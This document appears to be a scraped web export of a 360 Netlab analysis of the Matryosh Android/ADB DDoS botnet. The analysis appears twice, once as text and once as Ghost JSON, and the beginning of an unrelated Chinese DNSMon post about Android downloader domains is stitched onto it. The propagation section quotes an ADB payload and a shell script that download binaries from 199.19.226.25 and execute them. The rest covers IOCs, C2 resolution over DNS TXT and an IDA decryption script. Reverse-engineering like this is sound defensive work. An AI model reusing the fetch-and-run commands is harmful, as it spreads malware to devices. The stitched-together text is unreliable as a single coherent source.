It redesigns the encryption algorithm and obtains TOR C2 and the TOR proxys from remote hosts via DNS TXT.
The encryption algorithm implemented in this botnet and the process of obtaining C2 are nested in layers, like Russian nesting dolls.For this reason we named it Matryosh.
As the analysis progresses, more details emerge. Based on the similarity of C2 instructions, we speculate that it is another attempt by the Moobot group, which is very active at the moment.
Matryosh has no integrated scanning, vulnerability exploitation modules, the main function is DDoS attack, it supports tcpraw, icmpecho, udpplain attacks, the basic process is shown in the following figure.
Propagation
Currently Matryosh is propagated via adb, the captured payload is shown below, the main function is to download and execute scripts from the remote host 199.19.226.25.
CNXN............M
..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.
The downloaded scripts are shown below, and the main function is to download and execute Matryosh samples of multipleCPU architectures from the remote host.
#!/bin/sh
n="i586 mips mipsel armv5l armv7l"
http_server="199.19.226.25"
for a in $n
do
curl http://$http_server/nXejnFjen/$a > asFxgte
chmod 777 asFxgte
./asFxgte android
done
for a in $n
do
rm $a
done
Sample Analysis
Matryosh supports x86, arm, mips and other cpu architectures. x86 samples are selected for analysis in this paper, and the sample information is as follows.
MD5:c96e333af964649bbc0060f436c64758
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Lib:uclibc
Packer:None
The function of Matryosh is relatively simple, when it runs on infected device, it renames the process and prints out the stdin: pipe failed to confuse the user. Then decrypts the remote hostname and uses the DNS TXT request to obtain TOR C2 and TOR proxy.After that establishes connection with the TOR proxy. And finally communicates with TOR C2 through the proxy and waits for the execution of the commands sent by C2.
Decrypting sensitive resources
As you can see from the IDA, Matryosh stores sensitive resources encrypted to prevent the relevant functions from being spotted by security researchers.
The ciphertext is composed of 1 header and N body, and the structure is shown below.
struct header {
u8 msg_len;
u8 key;
u8 body_cnt;
}
struct body {
u8 key;
u8 body_len;
char *body_buf;
}
Take the ciphertext06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00 as an example, the decryption process is shown as follows.
header.msglen=0x06 --->valid length of the ciphertext is 6 bytes
header.key=0x29
header.body_cnt=0x2 ---> 2 body
body1.key=0xdc
body1.len=0x10 --->length of body1 is 0x10 bytes
body1 decryption
header.key XOR body1.key = key of body1 to decrypt,0xf5
ciphertext： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5
plaintext：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00 |tcpraw.%s %d....|
body2.key=0xfb
body2.len=0x6 --->length of body2 is 0x6 bytes
body2 decryption
header.key xor body2.key = key of body2 to decrypt,0x2f
ciphertext：D2 11 04 00 00 00
plaintext： 00 c3 d6 d2 d2 d2 |.ÃÖÒÒÒ|
The effective ciphertext length is 6 bytes, so just take the first 6 bytes of body1 to get the plaintext tcpraw.
The decryption script in the Appendix can be used to decrypt the following list of resources, which can be seen in the attack methods, remote host and other information.
tcpraw
icmpecho
udpplain
/proc/
/cmdline
stdin: pipe failed
hosts.hiddenservice.xyz
.hiddenservice.xyz
onion.hiddenservice.xyz
Process renaming
Rename the process to a 14 bytes case-sensitive process name to confuse the user.
The actual effect is shown in the following figure.
Obtaining TOR proxy and TOR C2
The process of obtaining proxy and C2 by Bot can be divided into 4 steps.
step 1
Decrypt to get remote host A (hosts.hiddenservice.xyz) and get its DNS TXT resolution result.
hosts.hiddenservice.xyz. 1751 IN TXT "iekfgakxorbfjcefbiyj"
step 2
Decrypt to get the remote host suffix (.hiddenservice.xyz), then extract the characters from the string obtained in the first step (iekfgakxorbfjcefbiyj) according to the combination rules in the table below, and take the first row (14,9) in the table below as an example, extract the characters with index 14 and 9 in the string, and merge to get a remote hostprefix er.
Index
Value
14,9
er
19,10
jb
3,4
fg
6,2
kk
8,13
oc
12,18
jy
11,1
fe
7,15
xf
5,17
ai
16,0
bi
Finally, the prefix and suffix of the remote hosts obtained above are stitched together to get the list of remote hosts B, as follows.
jb.hiddenservice.xyz
er.hiddenservice.xyz
--------------------
--------------------
fg.hiddenservice.xyz
kk.hiddenservice.xyz
oc.hiddenservice.xyz
jy.hiddenservice.xyz
fe.hiddenservice.xyz
xf.hiddenservice.xyz
ai.hiddenservice.xyz
bi.hiddenservice.xyz
The actual network traffic in the figure below, validates our analysis.
step 3
Request DNS TXT record from the remote host B obtained in step 2 to get the address of the TOR proxy, up to 10.
oc.hiddenservice.xyz. 1799 IN TXT "198.245.53.58:9095"
fe.hiddenservice.xyz. 1799 IN TXT "198.27.82.186:9050"
step 4
Decrypt to get remote host C (onion.hiddenservice.xyz), request DNS TXT records from it, and get TOR C2 address.
onion.hiddenservice.xyz. 1799 IN TXT "4qhemgahbjg4j6pt.onion"
At this point, all the basic information needed for C2 communication has been obtained, and Bot starts C2 communication.
C2 Communication
To communicate with C2, Bot first selects a TOR proxy at random and establishes a connection through the following codesnippet.
The TOR C2, PORT information is then sent to the TOR proxy that wants to establish communication, where the port is hard-coded 31337.
If the TOR proxy returns 05 00 00 01 00 00 00 00 00 00, the C2 connection is successful and subsequent communication can begin. The actual network traffic in the following figure clearly shows the above process.
After sending the golive packet Bot starts waiting for C2 to give the instruction. The first byte of the instruction packet specifies the type of instruction.
* Command code: 0x84 for heartbeat
* Command code: 0x55 for uploads the group information of the Bot
* Command code: non-0x55, non-0x84, DDoS attack
Relationship with Moobot group
The Moobot group is a fairly active botnet group that has been innovating in encryption algorithms and network communication. We exposed a new branch developed by this group, LeetHozer, on April 27, 2020, and compared with Matryosh, the similarities between the two are reflected in the following 3 aspects.
1.Using a model like TOR C2
2.C2 port (31337) & attack method name is the same
3.C2 command format is highly similar
Based on these considerations, we speculate that Matryosh isthe new work of thisparent group.
Conclusion
Matryosh's cryptographic design has some novelty, but still falls into the Mirai single-byte XOR pattern, which is why it is easily flagged by antivirus software as Mirai; the changes at the network communication level indicates that its authors wanted to implement a mechanism to protect C2 by downlinking the configuration from the cloud, doing this will bring some difficulties to static analysis or simple IOC simulator.
However, the act of putting all remote hosts under the same SLD is not optimal, it might change and we will keep an eye on it.All the related domains have been blocked by our DNSmon system.
Contact us
Readers are always welcomed to reach us on twitter or email to netlab at 360 dot cn.
IOC
Sample MD5
ELF
6d8a8772360034d811afd74721dbb261
9e0734f658908139e99273f91871bdf6
c96e333af964649bbc0060f436c64758
e763fab020b7ad3e46a7d1d18cb85f66
SCRIPT
594f40a39e4f8f5324b3e198210ac7db
1151cd05ee4d8e8c3266b888a9aea0f8
93530c1b942293c0d5d6936820c6f6df
b9d166b8e9972204ac0bbffda3f8eec6
URL
kk.hiddenservice.xyz
er.hiddenservice.xyz
jy.hiddenservice.xyz
fe.hiddenservice.xyz
xf.hiddenservice.xyz
oc.hiddenservice.xyz
jb.hiddenservice.xyz
ai.hiddenservice.xyz
bi.hiddenservice.xyz
fg.hiddenservice.xyz
hosts.hiddenservice.xyz
onion.hiddenservice.xyz
C2
4qhemgahbjg4j6pt.onion：31337
Proxy Ip
46.105.34.51:999
139.99.239.154:9095
139.99.134.95:9095
198.27.82.186:9050
188.165.233.121:9151
198.245.53.58:9095
51.83.186.134:9095
139.99.45.195:9050
51.195.91.193:9095
147.135.208.13:9095
Downloader
i586 mips mipsel armv5l armv7l
hxxp://199.19.226.25/nXejnFjen/{CPU ARCH}
Appendix(IDA script)
import idc
import idaapi
import idautils
# c96e333af964649bbc0060f436c64758
def find_function_arg(addr):
round = 0
while round < 2:
addr = idc.PrevHead(addr)
if GetMnem(addr) == "mov" and "offset" in GetOpnd(addr, 1):
return GetOperandValue(addr, 1)
if GetMnem(addr) == "push" and "offset" in GetOpnd(addr, 0):
return GetOperandValue(addr, 0)
round += 1
return 0
def get_string(addr):
out = []
while True:
if Byte(addr) != 0:
out.append(Byte(addr))
else:
break
addr += 1
return out
def descrypt(enc_lst):
msg_length = enc_lst[0]
xor_key1 = enc_lst[1]
group = enc_lst[2]
msg_lst = enc_lst[3:]
des_msg = []
for i in range(0, group):
xor_key2 = msg_lst[0]
group_len = msg_lst[1]
key = xor_key1 ^ xor_key2
for j in range(2, group_len + 2):
des_msg.append(chr(msg_lst[j] ^ key))
if len(des_msg) > msg_length:
des_msg = des_msg[0:msg_length]
break
msg_lst = msg_lst[group_len + 2:]
print("".join(des_msg))
descrypt_func_ea = 0x080493E0
refsto_lst = []
for ref in CodeRefsTo(descrypt_func_ea, 1):
refsto_lst.append(ref)
ens_str_addr = []
for ea in refsto_lst:
addr = find_function_arg(ea)
if addr != 0:
ens_str_addr.append(addr)
# print(hex(addr))
else:
print("Missed arg at {}".format(ea))
for ea in ens_str_addr:
ret = get_string(ea)
descrypt(ret)
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Background\nOn January 25, 2021, 360 netlab BotMon system labeled a suspicious ELF file as \nMirai, but the network traffic did not match Mirai's characteristics. \nThis anomaly caught our attention, and after analysis, we determined that it was a new botnet that reused the Mirai framework, propagated through the ```ADB interface```, and targeted Android-like devices with the main purpose of DDoS attacks. \nIt redesigns the encryption algorithm and obtains ```TOR C2``` and the TOR proxys from remote hosts via ```DNS TXT```.\n\nThe encryption algorithm implemented in this botnet and the process of obtaining C2 are nested in layers, like Russian nesting dolls.For this reason we named it ```Matryosh```.\n\nAs the analysis progresses, more details emerge. Based on the similarity of C2 instructions, we speculate that it is another attempt by the ```Moobot group```, which is very active at the moment.\n\nMatryosh has no integrated scanning, vulnerability exploitation modules, the main function is DDoS attack, it supports **tcpraw, icmpecho, udpplain** attacks, the basic process is shown in the following figure.\n<img src=\"__GHOST_URL__/content/images/2021/01/taowa_network.png\" width=\"860px\" />\n# Propagation\nCurrently Matryosh is propagated via adb, the captured payload is shown below, the main function is to download and execute scripts from the remote host 199.19.226.25.\n```\nCNXN............M\n..¼±§±host::features=cmd,shell_v2OPENX...........iQ..°¯º±shell:cd /data/local/tmp/; rm -rf wget bwget curl bcurl; wget http://199.19.226.25/wget; sh wget; busybox wget http://199.19.226.25/bwget; sh bwget; curl http://199.19.226.25/curl > curl; sh curl; busybox curl http://199.19.226.25/bcurl > bcurl; sh bcurl.sh.\n```\nThe downloaded scripts are shown below, and the main function is to download and execute Matryosh samples of multipleCPU architectures from the remote host.\n```\n#!/bin/sh\n\nn=\"i586 mips mipsel armv5l armv7l\"\nhttp_server=\"199.19.226.25\"\n\nfor a in $n\ndo\n curl http://$http_server/nXejnFjen/$a > asFxgte\n chmod 777 asFxgte\n ./asFxgte android\ndone\n\nfor a in $n\ndo\n rm $a\ndone\n\n```\n# Sample Analysis\nMatryosh supports x86, arm, mips and other cpu architectures. x86 samples are selected for analysis in this paper, and the sample information is as follows.\n> MD5:c96e333af964649bbc0060f436c64758\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Lib:uclibc\n> Packer:None\n\nThe function of Matryosh is relatively simple, when it runs on infected device, it renames the process and prints out the ```stdin: pipe failed``` to confuse the user. Then decrypts the remote hostname and uses the DNS TXT request to obtain TOR C2 and TOR proxy.After that establishes connection with the TOR proxy. And finally communicates with TOR C2 through the proxy and waits for the execution of the commands sent by C2.\n# Decrypting sensitive resources\nAs you can see from the IDA, Matryosh stores sensitive resources encrypted to prevent the relevant functions from being spotted by security researchers.\n\nThe ciphertext is composed of 1 header and N body, and the structure is shown below.\n```\nstruct header {\n \tu8 msg_len;\n \tu8 key;\n \tu8 body_cnt;\n }\n struct body {\n \tu8 key;\n \tu8 body_len;\n \tchar *body_buf;\n }\n```\nTake the ciphertext```06 29 02 DC 10 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5 FB 06 D2 11 04 00 00 00``` as an example, the decryption process is shown as follows.\n\n```\nheader.msglen=0x06\t--->valid length of the ciphertext is 6 bytes\nheader.key=0x29\nheader.body_cnt=0x2\t---> 2 body\n\nbody1.key=0xdc\t\t\nbody1.len=0x10\t\t--->length of body1 is 0x10 bytes\n\nbody1 decryption\nheader.key XOR body1.key = key of body1 to decrypt,0xf5 \nciphertext： 81 96 85 87 94 82 F5 D0 86 D5 D0 91 F8 FF F5 F5\nplaintext：74 63 70 72 61 77 00 25 73 20 25 64 0d 0a 00 00 |tcpraw.%s %d....|\n\nbody2.key=0xfb\nbody2.len=0x6\t\t--->length of body2 is 0x6 bytes\nbody2 decryption\nheader.key xor body2.key = key of body2 to decrypt,0x2f\nciphertext：D2 11 04 00 00 00\nplaintext： 00 c3 d6 d2 d2 d2 |.ÃÖÒÒÒ|\n\n\nThe effective ciphertext length is 6 bytes, so just take the first 6 bytes of body1 to get the plaintext tcpraw.\n```\nThe decryption script in the [Appendix](#decrypt_str) can be used to decrypt the following list of resources, which can be seen in the attack methods, remote host and other information.\n\n| tcpraw | icmpecho | udpplain |\n| ----------------------- | ------------------ | ----------------------- |\n| /proc/ | /cmdline | stdin: pipe failed |\n| hosts.hiddenservice.xyz | .hiddenservice.xyz | onion.hiddenservice.xyz |\n\n# Process renaming\nRename the process to a ```14 bytes case-sensitive``` process name to confuse the user.\n\nThe actual effect is shown in the following figure.\n\n# Obtaining TOR proxy and TOR C2\n\nThe process of obtaining proxy and C2 by Bot can be divided into 4 steps.\n### step 1\nDecrypt to get remote host A (```hosts.hiddenservice.xyz```) and get its DNS TXT resolution result.\n\n```\n hosts.hiddenservice.xyz. 1751\tIN\tTXT\t\"iekfgakxorbfjcefbiyj\"\n```\n### step 2 \nDecrypt to get the remote host suffix (```.hiddenservice.xyz```), then extract the characters from the string obtained in the first step (```iekfgakxorbfjcefbiyj```) according to the combination rules in the table below, and take the first row (14,9) in the table below as an example, extract the characters with index 14 and 9 in the string, and merge to get a remote hostprefix ```er```.\n| Index | Value |\n | ----- | ----- |\n | 14,9 | er |\n | 19,10 | jb |\n | 3,4 | fg |\n | 6,2 | kk |\n | 8,13 | oc |\n | 12,18 | jy |\n | 11,1 | fe |\n | 7,15 | xf |\n | 5,17 | ai |\n | 16,0 | bi |\nFinally, the prefix and suffix of the remote hosts obtained above are stitched together to get the list of remote hosts B, as follows.\n | jb.hiddenservice.xyz | er.hiddenservice.xyz |\n | -------------------- | -------------------- |\n | fg.hiddenservice.xyz | kk.hiddenservice.xyz |\n | oc.hiddenservice.xyz | jy.hiddenservice.xyz |\n | fe.hiddenservice.xyz | xf.hiddenservice.xyz |\n | ai.hiddenservice.xyz | bi.hiddenservice.xyz |\n The actual network traffic in the figure below, validates our analysis.\n \n ### step 3\nRequest DNS TXT record from the remote host B obtained in step 2 to get the address of the TOR proxy, up to 10.\n \n\n ```\n oc.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.245.53.58:9095\"\n fe.hiddenservice.xyz.\t1799\tIN\tTXT\t\"198.27.82.186:9050\"\n ```\n ### step 4\nDecrypt to get remote host C (onion.hiddenservice.xyz), request DNS TXT records from it, and get TOR C2 address.\n \n\n ```\n onion.hiddenservice.xyz. 1799\tIN\tTXT\t\"4qhemgahbjg4j6pt.onion\"\n ```\nAt this point, all the basic information needed for C2 communication has been obtained, and Bot starts C2 communication.\n# C2 Communication\nTo communicate with C2, Bot first selects a TOR proxy at random and establishes a connection through the following codesnippet.\n\nThe **TOR C2, PORT** information is then sent to the TOR proxy that wants to establish communication, where the port is hard-coded ```31337```.\n\nIf the TOR proxy returns ```05 00 00 01 00 00 00 00 00 00```, the C2 connection is successful and subsequent communication can begin. The actual network traffic in the following figure clearly shows the above process.\n\nAfter sending the golive packet Bot starts waiting for C2 to give the instruction. The first byte of the instruction packet specifies the type of instruction.\n- Command code: 0x84 for heartbeat\n\n- Command code: 0x55 for uploads the group information of the Bot\n\n- Command code: non-0x55, non-0x84, DDoS attack\n\n# Relationship with Moobot group\nThe **Moobot group** is a fairly active botnet group that has been innovating in encryption algorithms and network communication. We exposed a new branch developed by this group, [LeetHozer](__GHOST_URL__/the-leethozer-botnet-en/), on April 27, 2020, and compared with Matryosh, the similarities between the two are reflected in the following 3 aspects.\n\n1.Using a model like TOR C2\n\n2.C2 port (31337) & attack method name is the same\n\n3.**C2 command format is highly similar**\n\nBased on these considerations, we speculate that Matryosh isthe new work of thisparent group.\n# Conclusion\nMatryosh's cryptographic design has some novelty, but still falls into the Mirai single-byte XOR pattern, which is why it is easily flagged by antivirus software as Mirai; the changes at the network communication level indicates that its authors wanted to implement a mechanism to protect C2 by downlinking the configuration from the cloud, doing this will bring some difficulties to static analysis or simple IOC simulator. \n\nHowever, the act of putting all remote hosts under the same SLD is not optimal, it might change and we will keep an eye on it.All the related domains have been blocked by our DNSmon system.\n# Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) or email to netlab at 360 dot cn.\n# IOC\n\nSample MD5\n\n```\nELF\n6d8a8772360034d811afd74721dbb261\n9e0734f658908139e99273f91871bdf6\nc96e333af964649bbc0060f436c64758\ne763fab020b7ad3e46a7d1d18cb85f66\n\nSCRIPT\n594f40a39e4f8f5324b3e198210ac7db\n1151cd05ee4d8e8c3266b888a9aea0f8\n93530c1b942293c0d5d6936820c6f6df\nb9d166b8e9972204ac0bbffda3f8eec6\n```\n\nURL\n\n```\nkk.hiddenservice.xyz\t\ner.hiddenservice.xyz\t\njy.hiddenservice.xyz\t\nfe.hiddenservice.xyz\t\nxf.hiddenservice.xyz\t\noc.hiddenservice.xyz\t\njb.hiddenservice.xyz\t\nai.hiddenservice.xyz\t\nbi.hiddenservice.xyz\t\nfg.hiddenservice.xyz\n\nhosts.hiddenservice.xyz\t\nonion.hiddenservice.xyz\t\n```\n\nC2\n\n```\n4qhemgahbjg4j6pt.onion：31337\n```\n\nProxy Ip\n\n```\n46.105.34.51:999\n139.99.239.154:9095\n139.99.134.95:9095\n198.27.82.186:9050\n188.165.233.121:9151\n198.245.53.58:9095\n51.83.186.134:9095\n139.99.45.195:9050\n51.195.91.193:9095\n147.135.208.13:9095\n```\n\nDownloader\n```\ni586 mips mipsel armv5l armv7l\nhxxp://199.19.226.25/nXejnFjen/{CPU ARCH}\n\n```\n##<a id=\"decrypt_str\">Appendix(IDA script)</a>\n```\nimport idc\nimport idaapi\nimport idautils\n\n\n# c96e333af964649bbc0060f436c64758\ndef find_function_arg(addr):\n round = 0\n while round < 2:\n addr = idc.PrevHead(addr)\n if GetMnem(addr) == \"mov\" and \"offset\" in GetOpnd(addr, 1):\n return GetOperandValue(addr, 1)\n if GetMnem(addr) == \"push\" and \"offset\" in GetOpnd(addr, 0):\n return GetOperandValue(addr, 0)\n round += 1\n\n return 0\n\n\ndef get_string(addr):\n out = []\n while True:\n if Byte(addr) != 0:\n out.append(Byte(addr))\n else:\n break\n addr += 1\n return out\n\n\ndef descrypt(enc_lst):\n msg_length = enc_lst[0]\n xor_key1 = enc_lst[1]\n group = enc_lst[2]\n\n msg_lst = enc_lst[3:]\n des_msg = []\n for i in range(0, group):\n xor_key2 = msg_lst[0]\n group_len = msg_lst[1]\n key = xor_key1 ^ xor_key2\n for j in range(2, group_len + 2):\n des_msg.append(chr(msg_lst[j] ^ key))\n if len(des_msg) > msg_length:\n des_msg = des_msg[0:msg_length]\n break\n msg_lst = msg_lst[group_len + 2:]\n print(\"\".join(des_msg))\n\n\ndescrypt_func_ea = 0x080493E0\n\nrefsto_lst = []\nfor ref in CodeRefsTo(descrypt_func_ea, 1):\n refsto_lst.append(ref)\n\nens_str_addr = []\nfor ea in refsto_lst:\n addr = find_function_arg(ea)\n if addr != 0:\n ens_str_addr.append(addr)\n # print(hex(addr))\n else:\n print(\"Missed arg at {}\".format(ea))\n\nfor ea in ens_str_addr:\n ret = get_string(ea)\n descrypt(ret)\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 601785a3d0d9b7000712ad39 |
post | null | 2021-02-01T09:06:10.000Z | 63873b9a8b1c1e0007f52f9e | use-dns-data-produce-threat-intelligence-3 | 0 | 2021-02-08T02:55:52.000Z | public | published | null | 2021-02-08T02:55:52.000Z | DNSMon: 用DNS数据进行威胁发现(3) | <p><strong><em>--- Linux，Windows，Android，一个都不能少</em></strong></p><h2 id="-">背景</h2><p>本文是介绍DNSMon在生产威胁情报(域名IoC)系列文章的第三篇。</p><p>DNS协议作为互联网的一项基础核心协议，是互联网得以正常运行的基石之一。在祖国960万平方公里的土地上，那一张纵横交错的数据网络里，每一秒都有数万亿计的DNS数据包在高速穿梭着，它们或来自于机房的服务器，或来自于办公室的电脑，或来自于我们身边的手机，或来自于场景繁多的IoT，总之DNS无处不在。</p><p>生长于斯的DNSMon，依托DNS协议的基础性，天然具备宽广的视野，对那些发生在不同行业或不同平台的安全事件，都能有所涉猎。在DNSMon科普系列的前两篇博文中，<a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence/">第一篇</a>提及的Skidmap是感染Linux平台的云主机；而<a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence-2/">第二篇</a>提及的一组域名是网吧的Windows平台被感染后发出的；本文则是一个涉及Android平台的案例。</p><p>如果仔细阅读文章并理解其中内容，可以看到DNSMon在面对3个差异巨大的平台时，所使用的知识点或者说规则并没有根本性的变化，几乎做到了无差别预警。</p><h2 id="--1">对未知威胁的拦截</h2><p>最近，我们注意到DMSMon从2021-01-10开始，陆续对一组结构相似的域名报黑并自动拦截。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/block_01.png" class="kg-image" alt loading="lazy"></figure><p>登录系统查看采集到的关联信息，我们看到这是一组跟Android平台相关的恶意域名。正好系列文章没有介绍过跟Android平台相关的博文，而前两篇赶巧一篇跟Linux相关，一篇跟Windows有关，为科普DNSMon而写篇Android的，集齐3大平台不失为一件趣事。</p><h2 id="--2">扩展同类域名</h2><p>利用自动拦截域名的rdata和其它数据，发现DNSMon其实不止预警了上图列举的5个域名，在这个类别里一共有16个域名。</p><!--kg-card-begin: markdown--><pre><code>ereusingl[.]fun
lisersrath[.]fun
predition[.]fun
ningspais[.]top
ssuminat[.]top
erefulpat[.]top
stirlinebea[.]top
utionstro[.]top
lesseased[.]top
thinkdisen[.]top
edcarefe[.]fun
holidano[.]top
ehousan[.]top
swoulder[.]fun
riemanufa[.]top
ntrealing[.]fun
</code></pre>
<!--kg-card-end: markdown--><p>从活跃时间上看，这16个域名是依次投入使用的，且在2021年1月份有一个比较密集的投放期。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/sdanf_02.png" class="kg-image" alt loading="lazy"></figure><p>在写本文的过程中，又陆续看到系统捕获到其它新的同类域名被投入使用，比如antdaugh[.]top，ngslalatfin[.]top等等，但为了行文的连贯，本文会略过这些新启用的域名。</p><h2 id="--3">判黑缘由</h2><p>在<a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence/">第一篇</a>文章里，我们提及：</p><blockquote>DNSMon的核心在于将海量的DNS数据与360所拥有安全相关数据（包括whois，web，沙箱，蜜罐，证书等等）交叉对比，并从中分析得出威胁情报IOC。</blockquote><p>下面我们从系统获取的whois和沙箱这两个数据出发，举例分析数据特征并注解判黑缘由。当然，除了这些数据，DNSMon的判黑流程还依赖其它的特征数据，在此就不一一列举了。</p><h3 id="1-whois">1. whois</h3><p>16个域名共分成两批注册，一批注册时间为2020-11-06，另一批为2020-12-23；注册的有效期时长：一年，且开启了隐私保护。</p><!--kg-card-begin: markdown--><pre><code>ereusingl.fun createddate 2020-11-06 10:10:12
ereusingl.fun updateddate 2020-11-06 10:20:27
ereusingl.fun expiresdate 2021-11-06 23:59:59
ereusingl.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
lisersrath.fun createddate 2020-11-06 10:10:12
lisersrath.fun updateddate 2020-11-06 10:20:20
lisersrath.fun expiresdate 2021-11-06 23:59:59
lisersrath.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
predition.fun createddate 2020-11-06 10:09:51
predition.fun updateddate 2020-11-06 10:15:26
predition.fun expiresdate 2021-11-06 23:59:59
predition.fun status addPeriod | clientTransferProhibited | serverTransferProhibited
...
ningspais.top createddate 2020-12-23 15:57:59
ningspais.top updateddate 2021-01-06 10:37:20
ningspais.top expiresdate 2021-12-23 15:57:59
ningspais.top status clientTransferProhibited
ssuminat.top createddate 2020-12-23 15:58:00
ssuminat.top updateddate 2021-01-06 10:37:23
ssuminat.top expiresdate 2021-12-23 15:58:00
ssuminat.top status clientTransferProhibited
erefulpat.top createddate 2020-12-23 15:58:01
erefulpat.top updateddate 2021-01-06 10:37:24
erefulpat.top expiresdate 2021-12-23 15:58:01
erefulpat.top status clientTransferProhibited
...
</code></pre>
<!--kg-card-end: markdown--><p>批量注册+新域名+注册有效期短+隐私保护，判黑可能性加分。</p><h3 id="2-">2. 沙箱</h3><p>DNSMon对沙箱的数据，主要是关注样本的网络行为并提取样本到域名的访问关系，然后借助样本的评分反过来评估域名的得分。从关联图可以看到，访问域名的样本在系统里都有恶意标签（样本右上角标注了“黑色圆点”）。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/corr_03.png" class="kg-image" alt loading="lazy"></figure><p>根据标签传播算法，16个域名判黑的可能性加分。</p><p>借助DNSMon的一系列关联数据，最终可以判定这是一组恶意域名，且性质为downloader。为了清晰样本传播目的，我们对样本进行了的简单地逆向分析。</p><h2 id="--4">逆向分析</h2><p>本文选取一个名为<code>Your File Is Ready To Download.apk</code>的样本作为分析对象，它的基本信息如下所示</p><!--kg-card-begin: markdown--><blockquote>
<p>MD5：230ca35f90c55bf9c46ddfb7980b632d<br>
File type：Android<br>
Magic：Zip archive data, at least v2.0 to extract<br>
File size：543671 bytes</p>
</blockquote>
<!--kg-card-end: markdown--><p>样本的<code>Assets</code>有一个dat文件，里面存有Base64编码的的配置信息。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_asset.png" class="kg-image" alt loading="lazy"></figure><p>它的内容是：</p><!--kg-card-begin: markdown--><pre><code>eyJjaWQiOiIxZGZiZTAzNS1kNzViLTQzYzgtYmMwMy1kYTg5YWU5NzU1ZjYiLCJ1cmxzIjpbImh0dHBzOi8vbGlzZXJzcmF0aC5mdW4iXSwiZm4iOiJZb3VyIEZpbGUgSXMgUmVhZHkgVG8gRG93bmxvYWQiLCJpbmZvIjoiYmxhbmtfIiwicm91dGVzIjp7Ing4NiI6Ii94ODYiLCJhcm02NC12OGEiOiIvYXJtNjQiLCJ4ODZfNjQiOiIveDY0IiwiYXJtZWFiaS12N2EiOiIvYXJtIn0sInVpZCI6Ijg4ODA5ODcwOTM1NTMzMTk3MiIsInNpZDEiOiI4ODgwOTg3MDkzNTUzMzE5NzIiLCJ0aWQiOiI3OTIyOTciLCJzaWQyIjoiIn0=
</code></pre>
<!--kg-card-end: markdown--><p>Base64解码后，得到以下json格式的配置信息，可以看到"urls"字段里存有我们要定性的域名。</p><!--kg-card-begin: markdown--><pre><code>{
"cid": "1dfbe035-d75b-43c8-bc03-da89ae9755f6",
"urls": [
"https[:]//lisersrath.fun"
],
"fn": "Your File Is Ready To Download",
"info": "blank_",
"routes": {
"x86": "/x86",
"arm64-v8a": "/arm64",
"x86_64": "/x64",
"armeabi-v7a": "/arm"
},
"uid": "888098709355331972",
"sid1": "888098709355331972",
"tid": "792297",
"sid2": ""
}
</code></pre>
<!--kg-card-end: markdown--><p>通过以下代码片段向urls中的域名请求下载数据，</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_download.png" class="kg-image" alt loading="lazy"></figure><p>这个过程会产生如下的URL：</p><!--kg-card-begin: markdown--><pre><code>lisersrath[.]fun/x86?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/x64?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
lisersrath[.]fun/arm?v=0.0&l=6.9&p=Y29tLmludGVuc2l2ZS5zb3VuZA==
</code></pre>
<!--kg-card-end: markdown--><p>那下载的到底是什么呢？以<code>x86</code>参数为例，下载得到一个json文件(<code>f7e8f0aec32ceb27d5e202d4b2b50812</code>)，它的<strong>apk</strong>字段指向一个新的APK文件(<code>12098a59b35bcabb16bfeab887eb7f9f</code>)。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_json.png" class="kg-image" alt loading="lazy"></figure><p>经分析，新的APK文件隶属于<code>FakeAdsBlocker</code>家族，是一个隐蔽的广告程序，本文编写时，它在VT的查杀率不高，4/64。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/02/ads_vt.png" class="kg-image" alt loading="lazy"></figure><p>此外，我们还发现了另外一类URL：</p><!--kg-card-begin: markdown--><pre><code>lisersrath[.]fun:80/?cid=c423cdff-6c1b-4052-859f-11223c65f1ad&tid=827722&sid1=3182549073271873173&sid2=1868&fn=synapse_x_key&uid=3182549073271873173&lp=blank&tit=UGxlYXNlIHdhaXQgYSBmZXcgbWludXRlcyB3aGlsZSB5b3VyIGZpbGUgaXMgYmVpbmcgZG93bmxvYWRlZC4uLgo=
</code></pre>
